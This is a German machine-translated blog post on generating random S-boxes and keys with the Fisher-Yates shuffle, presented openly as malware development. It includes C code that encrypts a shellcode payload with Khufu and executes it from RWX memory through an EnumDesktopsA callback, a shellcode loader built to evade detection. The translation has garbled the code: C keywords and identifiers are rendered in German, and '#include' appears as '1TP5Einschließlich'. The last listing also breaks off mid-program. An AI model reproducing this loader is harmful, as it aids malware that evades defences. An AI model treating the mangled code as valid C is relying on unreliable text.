Malware und Kryptographie 36 - Algorithmen zur Erzeugung von Zufallsboxen: Fisher-Yates-Zufallsmischung. Einfaches C-Beispiel.
Hello, cybersecurity enthusiasts and white hackers!
Nach der Lektüre einiger meiner Beiträge über Kryptographie, z. B. diesem oder diesem, hatten meine Leser Fragen zu den Konzepten von sbox
Deshalb werde ich die Forschung im Bereich der Kryptographie bei der Entwicklung von Malware fortsetzen und möchte einen dieser Tricks zur Erzeugung zufälliger sboxes beleuchten.
Dieser Beitrag ist das Ergebnis meiner eigenen Recherchen zur Umsetzung des einfachsten Tricks: Fisher-Yates-Mischungstrick.
Fisher-YatesPermalink
Die Fisher-Yates-Mischung wurde erstmals 1938 von Ronald Fisher und Frank Yates in ihrem Buch Statistical tables for biological, agricultural, and medical research beschrieben. Die Beschreibung des Algorithmus wurde mit einem Bleistift auf Papier geschrieben, und die Randomisierung wurde durch eine Tabelle mit ganzen Zahlen gewährleistet. Der beschriebene grundlegende Ansatz zur Erzeugung einer zufälligen Permutation der Zahlen 1-N lautet wie folgt:
- Schreiben Sie die Zahlen von 1 bis N auf.
- Wählen Sie eine Zufallszahl k zwischen eins und der Anzahl der verbleibenden ungeschlagenen Zahlen (einschließlich).
- Beginnen Sie am unteren Ende und streichen Sie die k-te Zahl, die noch nicht gestrichen wurde, und schreiben Sie sie am Ende einer separaten Liste auf.
- Wiederholen Sie Schritt 2, bis alle Ziffern durchgestrichen sind.
- Die in Schritt 3 eingegebenen Zahlen sind nun in einer zufälligen Reihenfolge angeordnet.
Aber was hat die Kryptographie damit zu tun?
Die Zuverlässigkeit einiger Blockverschlüsselungsalgorithmen hängt stark davon ab, wie "gut" die S-Kästen
werden bei ihrer Umsetzung verwendet: die S-Kasten
(Substitutionsfeld) spielt in der Blockchiffrierung eine entscheidende Rolle, vor allem um Nichtlinearität zu gewährleisten und die Chiffre gegen Angriffe zu stärken.
Ein paar Worte zur Nichtlinearität. S-Kästen
sicherstellen, dass die Beziehung zwischen Klartext und Chiffretext ist nicht linearwas entscheidend ist, um kryptoanalytischen Angriffen wie lineare Kryptoanalyse. Nichtlineare Transformationen verhindern, dass Muster im Klartext im Chiffretext erhalten bleiben.
Außerdem ist eine gut konzipierte S-Kasten
trägt zur Avalanche-EffektDas bedeutet, dass eine kleine Änderung des Klartextes oder des Schlüssels zu erheblichen Änderungen des Chiffretextes führt: Dadurch wird sichergestellt, dass die Ausgabe der Chiffre zufällig erscheint und die Vorhersage von Änderungen erschwert wird.
Bei Feistel-basierten Chiffren (z. B. DES), S-Kästen
die Ausgabe der Feistel-Funktion transformieren und dabei Nichtlinearität sicherstellen, bevor sie mit dem Klartext kombiniert wird.
Nehmen wir konkrete Beispiele für kryptografische Algorithmen in SPN-basierten Blockchiffren (z. B., AES
), die S-Kasten
ist für das Ersetzen von Eingabebits durch eindeutige Ausgabebits verantwortlich, was den kryptografischen Prozess noch verwirrender macht.
Sie sehen also, dass die Erzeugung kryptographisch sicherer S-Kästen
ist ein komplexer Prozess, der mathematische Techniken umfasst, um wünschenswerte Eigenschaften wie Nichtlinearität, Widerstandsfähigkeit gegen differentielle und lineare Kryptoanalyse und minimale Korrelation zwischen Eingabe- und Ausgabebits zu gewährleisten. Ich kann zwar keine wirklich sicheren S-Kästen
In diesem Zusammenhang wollen wir diesen Shuffle-Algorithmus auf der Grundlage seiner ursprünglichen Spezifikation implementieren.
praktisches BeispielPermalink
Lassen Sie uns ein einfaches Programm erstellen, das die Fisher-Yates-Mischung implementiert, um eine zufällige Permutation von sbox[256]
und druckt die Ergebnisse aus:
/*
* hack.c - random sbox generation algorithms.
* Fisher-Yates shuffle
* Simple C implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/12/16/malware-cryptography-36.html
*/
1TP5Einschließlich <stdio.h>
1TP5Einschließlich <stdlib.h>
1TP5Einschließlich <time.h>
#define SBOX_SIZE 256
// Fisher-Yates-Mischung
void fisher_yates_shuffle(ohne Vorzeichen char *sbox, int Größe) {
für (int i = Größe - 1; i > 0; i--) {
// Erzeugen eines Zufallsindexes zwischen 0 und i
int j = rand() % (i + 1);
// sbox[i] und sbox[j] vertauschen
ohne Vorzeichen char Aushilfe = sbox[i];
sbox[i] = sbox[j];
sbox[j] = Aushilfe;
}
}
int Haupt() {
ohne Vorzeichen char sbox[SBOX_GRÖSSE];
// sbox mit den Werten 0 bis 255 initialisieren
für (int i = 0; i < SBOX_GRÖSSE; i++) {
sbox[i] = (ohne Vorzeichen char)i;
}
// Setzt den Zufallszahlengenerator mit der aktuellen Zeit
srand((ohne Vorzeichen int)Zeit(NULL));
// Mischen der sbox mit dem Fisher-Yates-Algorithmus
fisher_yates_shuffle(sbox, SBOX_GRÖSSE);
// Drucken der gemischten sbox
printf("S-Box" erzeugt:\n");
für (int i = 0; i < SBOX_GRÖSSE; i++) {
printf("%02x", sbox[i]);
wenn ((i + 1) % 16 == 0) {
printf("\n"); // alle 16 Werte einen Zeilenumbruch ausgeben
} sonst {
printf(" ");
}
}
return 0;
}
Zuallererst, sbox
Array wird mit Werten aus 0
zu 255
.
Fisher-Yates-Mischung: Iteriert rückwärts durch das Array. Wählt einen zufälligen Index j
im Bereich [0, i]
. Schließlich werden die Elemente bei den Indizes vertauscht i
und j
.
Zufälligkeit: Die rand()
Funktion wird mit der aktuellen Zeit gefüttert, indem srand(time(NULL))
um sicherzustellen, dass bei jeder Ausführung des Programms andere Ergebnisse erzielt werden.
Ausgabe: Das Schlurfen S-Box
wird in einem lesbaren Format gedruckt, mit 16
Werte pro Zeile.
Ich füge auch die Windows-Version hinzu, indem ich einfach den WinAPI-Header hinzufüge:
/*
* hack.c - random sbox generation algorithms.
* Fisher-Yates shuffle
* Simple C implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/12/16/malware-cryptography-36.html
*/
1TP5Einschließlich <stdio.h>
1TP5Einschließlich <stdlib.h>
1TP5Einschließlich <time.h>
1TP5Einschließlich <windows.h>
#define SBOX_SIZE 256
// Fisher-Yates-Mischung
void fisher_yates_shuffle(ohne Vorzeichen char *sbox, int Größe) {
für (int i = Größe - 1; i > 0; i--) {
// Erzeugen eines Zufallsindexes zwischen 0 und i
int j = rand() % (i + 1);
// sbox[i] und sbox[j] vertauschen
ohne Vorzeichen char Aushilfe = sbox[i];
sbox[i] = sbox[j];
sbox[j] = Aushilfe;
}
}
int Haupt() {
ohne Vorzeichen char sbox[SBOX_GRÖSSE];
// sbox mit den Werten 0 bis 255 initialisieren
für (int i = 0; i < SBOX_GRÖSSE; i++) {
sbox[i] = (ohne Vorzeichen char)i;
}
// Setzt den Zufallszahlengenerator mit der aktuellen Zeit
srand((ohne Vorzeichen int)Zeit(NULL));
// Mischen der sbox mit dem Fisher-Yates-Algorithmus
fisher_yates_shuffle(sbox, SBOX_GRÖSSE);
// Drucken der gemischten sbox
printf("S-Box" erzeugt:\n");
für (int i = 0; i < SBOX_GRÖSSE; i++) {
printf("%02x", sbox[i]);
wenn ((i + 1) % 16 == 0) {
printf("\n"); // alle 16 Werte einen Zeilenumbruch ausgeben
} sonst {
printf(" ");
}
}
return 0;
}
DemoPermalink
Kompilieren Sie es für Linux:
gcc -o hack hack.c
oder für Windows:
x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -Funktionsbereiche -fdata-Abschnitte -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fermissiv
Wenn Sie das Programm ausführen, sieht die Ausgabe wie folgt aus (auf meinem Linux-Rechner variieren die Werte aufgrund von Zufälligkeiten):
Wie Sie sehen können, funktioniert alles perfekt =^..^=
Zufällige S-Boxen in kryptografischen AlgorithmenPermalink
Welche Chiffren können zufällig erzeugte S-Kästen
?
Khufu (1989, NIST) zum Beispiel entwarf mit einer anpassbaren S-Kasten
für schlüsselabhängige Substitution und geeignet für zufällige S-Kästen
: Khufu wurde speziell entwickelt, um benutzergenerierte oder zufällige S-Kästen
.
Lucifer (1971) entworfen mit statischen S-Kästen
könnte aber geändert werden, um zufällige S-Kästen
.
RC5 und CAST-128: Flexible Designs, die die Integration von S-Kästen
mit geringfügigen Anpassungen.
Praxisbeispiel 3Permalink
Integrieren wir den Fisher-Yates-Shuffle in meine Implementierung der Khufu-Nutzlastverschlüsselung.
Originalcode aus meinem Beitrag:
/*
* hack.c
* encrypt/decrypt payload
* via Khufu algorithm
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/07/21/malware-cryptography-30.html
*/
1TP5Einschließlich <stdio.h>
1TP5Einschließlich <stdint.h>
1TP5Einschließlich <string.h>
1TP5Einschließlich <stdlib.h>
1TP5Einschließlich <windows.h>
#define ROUNDS 16
#define BLOCK_SIZE 8
#define KEY_SIZE 64
uint8_t Schlüssel[SCHLÜSSEL_GRÖSSE] = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F
};
uint32_t sbox[256];
void khufu_generate_sbox(uint8_t *Schlüssel, int rund) {
für (int i = 0; i < 256; i++) {
sbox[i] = (Schlüssel[(rund * 8 + i) % SCHLÜSSEL_GRÖSSE] << 24) |
(Schlüssel[(rund * 8 + i + 1) % SCHLÜSSEL_GRÖSSE] << 16) |
(Schlüssel[(rund * 8 + i + 2) % SCHLÜSSEL_GRÖSSE] << 8) |
Schlüssel[(rund * 8 + i + 3) % SCHLÜSSEL_GRÖSSE];
}
}
void khufu_verschlüsseln(uint8_t *Block, uint8_t *Schlüssel) {
uint32_t links = ((uint32_t)Block[0] << 24) | ((uint32_t)Block[1] << 16) | ((uint32_t)Block[2] << 8) | (uint32_t)Block[3];
uint32_t rechts = ((uint32_t)Block[4] << 24) | ((uint32_t)Block[5] << 16) | ((uint32_t)Block[6] << 8) | (uint32_t)Block[7];
links ^= ((uint32_t)Schlüssel[0] << 24) | ((uint32_t)Schlüssel[1] << 16) | ((uint32_t)Schlüssel[2] << 8) | (uint32_t)Schlüssel[3];
rechts ^= ((uint32_t)Schlüssel[4] << 24) | ((uint32_t)Schlüssel[5] << 16) | ((uint32_t)Schlüssel[6] << 8) | (uint32_t)Schlüssel[7];
für (int rund = 0; rund < RUNDEN; rund++) {
khufu_generate_sbox(Schlüssel, rund);
uint32_t Aushilfe = links;
links = rechts ^ sbox[links & 0xFF];
rechts = (Aushilfe >> 8) | (Aushilfe << 24);
uint32_t temp2 = links;
links = rechts;
rechts = temp2;
}
links ^= ((uint32_t)Schlüssel[8] << 24) | ((uint32_t)Schlüssel[9] << 16) | ((uint32_t)Schlüssel[10] << 8) | (uint32_t)Schlüssel[11];
rechts ^= ((uint32_t)Schlüssel[12] << 24) | ((uint32_t)Schlüssel[13] << 16) | ((uint32_t)Schlüssel[14] << 8) | (uint32_t)Schlüssel[15];
Block[0] = (links >> 24) & 0xFF;
Block[1] = (links >> 16) & 0xFF;
Block[2] = (links >> 8) & 0xFF;
Block[3] = links & 0xFF;
Block[4] = (rechts >> 24) & 0xFF;
Block[5] = (rechts >> 16) & 0xFF;
Block[6] = (rechts >> 8) & 0xFF;
Block[7] = rechts & 0xFF;
}
void khufu_decrypt(uint8_t *Block, uint8_t *Schlüssel) {
uint32_t links = ((uint32_t)Block[0] << 24) | ((uint32_t)Block[1] << 16) | ((uint32_t)Block[2] << 8) | (uint32_t)Block[3];
uint32_t rechts = ((uint32_t)Block[4] << 24) | ((uint32_t)Block[5] << 16) | ((uint32_t)Block[6] << 8) | (uint32_t)Block[7];
links ^= ((uint32_t)Schlüssel[8] << 24) | ((uint32_t)Schlüssel[9] << 16) | ((uint32_t)Schlüssel[10] << 8) | (uint32_t)Schlüssel[11];
rechts ^= ((uint32_t)Schlüssel[12] << 24) | ((uint32_t)Schlüssel[13] << 16) | ((uint32_t)Schlüssel[14] << 8) | (uint32_t)Schlüssel[15];
für (int rund = RUNDEN - 1; rund >= 0; rund--) {
uint32_t Aushilfe = rechts;
rechts = links ^ sbox[rechts & 0xFF];
links = (Aushilfe << 8) | (Aushilfe >> 24);
uint32_t temp2 = links;
links = rechts;
rechts = temp2;
}
links ^= ((uint32_t)Schlüssel[0] << 24) | ((uint32_t)Schlüssel[1] << 16) | ((uint32_t)Schlüssel[2] << 8) | (uint32_t)Schlüssel[3];
rechts ^= ((uint32_t)Schlüssel[4] << 24) | ((uint32_t)Schlüssel[5] << 16) | ((uint32_t)Schlüssel[6] << 8) | (uint32_t)Schlüssel[7];
Block[0] = (links >> 24) & 0xFF;
Block[1] = (links >> 16) & 0xFF;
Block[2] = (links >> 8) & 0xFF;
Block[3] = links & 0xFF;
Block[4] = (rechts >> 24) & 0xFF;
Block[5] = (rechts >> 16) & 0xFF;
Block[6] = (rechts >> 8) & 0xFF;
Block[7] = rechts & 0xFF;
}
void khufu_encrypt_shellcode(ohne Vorzeichen char* Shellcode, int Shellcode_len) {
int i;
für (i = 0; i < Shellcode_len / BLOCK_GRÖSSE; i++) {
khufu_verschlüsseln(Shellcode + i * BLOCK_GRÖSSE, Schlüssel);
}
// Prüfen, ob noch Bytes vorhanden sind
int verbleibende = Shellcode_len % BLOCK_GRÖSSE;
wenn (verbleibende != 0) {
ohne Vorzeichen char Polster[BLOCK_GRÖSSE] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(Polster, Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, verbleibende);
khufu_verschlüsseln(Polster, Schlüssel);
memcpy(Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, Polster, verbleibende);
}
}
void khufu_decrypt_shellcode(ohne Vorzeichen char* Shellcode, int Shellcode_len) {
int i;
für (i = 0; i < Shellcode_len / BLOCK_GRÖSSE; i++) {
khufu_decrypt(Shellcode + i * BLOCK_GRÖSSE, Schlüssel);
}
// Prüfen, ob noch Bytes vorhanden sind
int verbleibende = Shellcode_len % BLOCK_GRÖSSE;
wenn (verbleibende != 0) {
ohne Vorzeichen char Polster[BLOCK_GRÖSSE] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(Polster, Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, verbleibende);
khufu_decrypt(Polster, Schlüssel);
memcpy(Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, Polster, verbleibende);
}
}
int Haupt() {
ohne Vorzeichen char meine_Ladung[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
int my_payload_len = Größe von(meine_Ladung);
int pad_len = my_payload_len + (8 - my_payload_len % 8) % 8;
ohne Vorzeichen char gepolstert[pad_len];
memset(gepolstert, 0x90, pad_len);
memcpy(gepolstert, meine_Ladung, my_payload_len);
printf("Original-Shellcode: ");
für (int i = 0; i < my_payload_len; i++) {
printf("%02x ", meine_Ladung[i]);
}
printf("\n\n");
khufu_encrypt_shellcode(gepolstert, pad_len);
printf("verschlüsselter Shellcode: ");
für (int i = 0; i < pad_len; i++) {
printf("%02x ", gepolstert[i]);
}
printf("\n\n");
khufu_decrypt_shellcode(gepolstert, pad_len);
printf("entschlüsselter Shellcode: ");
für (int i = 0; i < my_payload_len; i++) {
printf("%02x ", gepolstert[i]);
}
printf("\n\n");
LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, gepolstert, my_payload_len);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);
return 0;
}
Wir können unseren Zufallsalgorithmus für die Schlüsselerzeugung hinzufügen. Anstelle eines vordefinierten statischen Schlüssels können wir einen Zufallsschlüssel verwenden, der mittels Fisher-Yates Shuffle generiert wird:
// Fisher-Yates-Mischung
void fisher_yates_shuffle(ohne Vorzeichen char *sbox, int Größe) {
für (int i = Größe - 1; i > 0; i--) {
// Erzeugen eines Zufallsindexes zwischen 0 und i
int j = rand() % (i + 1);
// sbox[i] und sbox[j] vertauschen
ohne Vorzeichen char Aushilfe = sbox[i];
sbox[i] = sbox[j];
sbox[j] = Aushilfe;
}
}
void khufu_generate_key() {
// Schlüssel mit den Werten 0 bis 64 initialisieren
für (int i = 0; i < SCHLÜSSEL_GRÖSSE; i++) {
Schlüssel[i] = (ohne Vorzeichen char)i;
}
// Setzt den Zufallszahlengenerator mit der aktuellen Zeit
srand((ohne Vorzeichen int)Zeit(NULL));
// Mischen des Schlüssels mit dem Fisher-Yates-Algorithmus
fisher_yates_shuffle(Schlüssel, SCHLÜSSEL_GRÖSSE);
}
Wie Sie sehen können, beginnt der Schlüssel als ein Array von Werten 0x00
zu 0x3F
(0-63
in hexadezimaler Form) und wird zufällig gemischt. Dadurch wird sichergestellt, dass der Schlüssel bei jeder Ausführung des Programms eindeutig ist.
Der aktualisierte vollständige Quellcode sieht also wie folgt aus (hack3.c
):
/*
* hack.c
* encrypt/decrypt payload
* via Khufu algorithm
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/07/21/malware-cryptography-30.html
*/
1TP5Einschließlich <stdio.h>
1TP5Einschließlich <stdint.h>
1TP5Einschließlich <string.h>
1TP5Einschließlich <stdlib.h>
1TP5Einschließlich <time.h>
// #include
#define ROUNDS 16
#define BLOCK_SIZE 8
#define KEY_SIZE 64
uint8_t Schlüssel[SCHLÜSSEL_GRÖSSE] = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F
};
uint32_t sbox[256];
// Fisher-Yates-Mischung
void fisher_yates_shuffle(ohne Vorzeichen char *sbox, int Größe) {
für (int i = Größe - 1; i > 0; i--) {
// Erzeugen eines Zufallsindexes zwischen 0 und i
int j = rand() % (i + 1);
// sbox[i] und sbox[j] vertauschen
ohne Vorzeichen char Aushilfe = sbox[i];
sbox[i] = sbox[j];
sbox[j] = Aushilfe;
}
}
void khufu_generate_key() {
// Schlüssel mit den Werten 0 bis 64 initialisieren
für (int i = 0; i < SCHLÜSSEL_GRÖSSE; i++) {
Schlüssel[i] = (ohne Vorzeichen char)i;
}
// Setzt den Zufallszahlengenerator mit der aktuellen Zeit
srand((ohne Vorzeichen int)Zeit(NULL));
// Mischen des Schlüssels mit dem Fisher-Yates-Algorithmus
fisher_yates_shuffle(Schlüssel, SCHLÜSSEL_GRÖSSE);
}
void khufu_generate_sbox(uint8_t *Schlüssel, int rund) {
für (int i = 0; i < 256; i++) {
sbox[i] = (Schlüssel[(rund * 8 + i) % SCHLÜSSEL_GRÖSSE] << 24) |
(Schlüssel[(rund * 8 + i + 1) % SCHLÜSSEL_GRÖSSE] << 16) |
(Schlüssel[(rund * 8 + i + 2) % SCHLÜSSEL_GRÖSSE] << 8) |
Schlüssel[(rund * 8 + i + 3) % SCHLÜSSEL_GRÖSSE];
}
}
void khufu_verschlüsseln(uint8_t *Block, uint8_t *Schlüssel) {
uint32_t links = ((uint32_t)Block[0] << 24) | ((uint32_t)Block[1] << 16) | ((uint32_t)Block[2] << 8) | (uint32_t)Block[3];
uint32_t rechts = ((uint32_t)Block[4] << 24) | ((uint32_t)Block[5] << 16) | ((uint32_t)Block[6] << 8) | (uint32_t)Block[7];
links ^= ((uint32_t)Schlüssel[0] << 24) | ((uint32_t)Schlüssel[1] << 16) | ((uint32_t)Schlüssel[2] << 8) | (uint32_t)Schlüssel[3];
rechts ^= ((uint32_t)Schlüssel[4] << 24) | ((uint32_t)Schlüssel[5] << 16) | ((uint32_t)Schlüssel[6] << 8) | (uint32_t)Schlüssel[7];
für (int rund = 0; rund < RUNDEN; rund++) {
khufu_generate_sbox(Schlüssel, rund);
uint32_t Aushilfe = links;
links = rechts ^ sbox[links & 0xFF];
rechts = (Aushilfe >> 8) | (Aushilfe << 24);
uint32_t temp2 = links;
links = rechts;
rechts = temp2;
}
links ^= ((uint32_t)Schlüssel[8] << 24) | ((uint32_t)Schlüssel[9] << 16) | ((uint32_t)Schlüssel[10] << 8) | (uint32_t)Schlüssel[11];
rechts ^= ((uint32_t)Schlüssel[12] << 24) | ((uint32_t)Schlüssel[13] << 16) | ((uint32_t)Schlüssel[14] << 8) | (uint32_t)Schlüssel[15];
Block[0] = (links >> 24) & 0xFF;
Block[1] = (links >> 16) & 0xFF;
Block[2] = (links >> 8) & 0xFF;
Block[3] = links & 0xFF;
Block[4] = (rechts >> 24) & 0xFF;
Block[5] = (rechts >> 16) & 0xFF;
Block[6] = (rechts >> 8) & 0xFF;
Block[7] = rechts & 0xFF;
}
void khufu_decrypt(uint8_t *Block, uint8_t *Schlüssel) {
uint32_t links = ((uint32_t)Block[0] << 24) | ((uint32_t)Block[1] << 16) | ((uint32_t)Block[2] << 8) | (uint32_t)Block[3];
uint32_t rechts = ((uint32_t)Block[4] << 24) | ((uint32_t)Block[5] << 16) | ((uint32_t)Block[6] << 8) | (uint32_t)Block[7];
links ^= ((uint32_t)Schlüssel[8] << 24) | ((uint32_t)Schlüssel[9] << 16) | ((uint32_t)Schlüssel[10] << 8) | (uint32_t)Schlüssel[11];
rechts ^= ((uint32_t)Schlüssel[12] << 24) | ((uint32_t)Schlüssel[13] << 16) | ((uint32_t)Schlüssel[14] << 8) | (uint32_t)Schlüssel[15];
für (int rund = RUNDEN - 1; rund >= 0; rund--) {
uint32_t Aushilfe = rechts;
rechts = links ^ sbox[rechts & 0xFF];
links = (Aushilfe << 8) | (Aushilfe >> 24);
uint32_t temp2 = links;
links = rechts;
rechts = temp2;
}
links ^= ((uint32_t)Schlüssel[0] << 24) | ((uint32_t)Schlüssel[1] << 16) | ((uint32_t)Schlüssel[2] << 8) | (uint32_t)Schlüssel[3];
rechts ^= ((uint32_t)Schlüssel[4] << 24) | ((uint32_t)Schlüssel[5] << 16) | ((uint32_t)Schlüssel[6] << 8) | (uint32_t)Schlüssel[7];
Block[0] = (links >> 24) & 0xFF;
Block[1] = (links >> 16) & 0xFF;
Block[2] = (links >> 8) & 0xFF;
Block[3] = links & 0xFF;
Block[4] = (rechts >> 24) & 0xFF;
Block[5] = (rechts >> 16) & 0xFF;
Block[6] = (rechts >> 8) & 0xFF;
Block[7] = rechts & 0xFF;
}
void khufu_encrypt_shellcode(ohne Vorzeichen char* Shellcode, int Shellcode_len) {
int i;
für (i = 0; i < Shellcode_len / BLOCK_GRÖSSE; i++) {
khufu_verschlüsseln(Shellcode + i * BLOCK_GRÖSSE, Schlüssel);
}
// Prüfen, ob noch Bytes vorhanden sind
int verbleibende = Shellcode_len % BLOCK_GRÖSSE;
wenn (verbleibende != 0) {
ohne Vorzeichen char Polster[BLOCK_GRÖSSE] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(Polster, Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, verbleibende);
khufu_verschlüsseln(Polster, Schlüssel);
memcpy(Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, Polster, verbleibende);
}
}
void khufu_decrypt_shellcode(ohne Vorzeichen char* Shellcode, int Shellcode_len) {
int i;
für (i = 0; i < Shellcode_len / BLOCK_GRÖSSE; i++) {
khufu_decrypt(Shellcode + i * BLOCK_GRÖSSE, Schlüssel);
}
// Prüfen, ob noch Bytes vorhanden sind
int verbleibende = Shellcode_len % BLOCK_GRÖSSE;
wenn (verbleibende != 0) {
ohne Vorzeichen char Polster[BLOCK_GRÖSSE] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(Polster, Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, verbleibende);
khufu_decrypt(Polster, Schlüssel);
memcpy(Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, Polster, verbleibende);
}
}
int Haupt() {
khufu_generate_key();
printf("generierter Schlüssel":\n");
für (int i = 0; i < SCHLÜSSEL_GRÖSSE; i++) {
printf("%02x", Schlüssel[i]);
wenn ((i + 1) % 8 == 0) {
printf("\n"); // alle 16 Werte einen Zeilenumbruch ausgeben
} sonst {
printf(" ");
}
}
ohne Vorzeichen char meine_Ladung[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
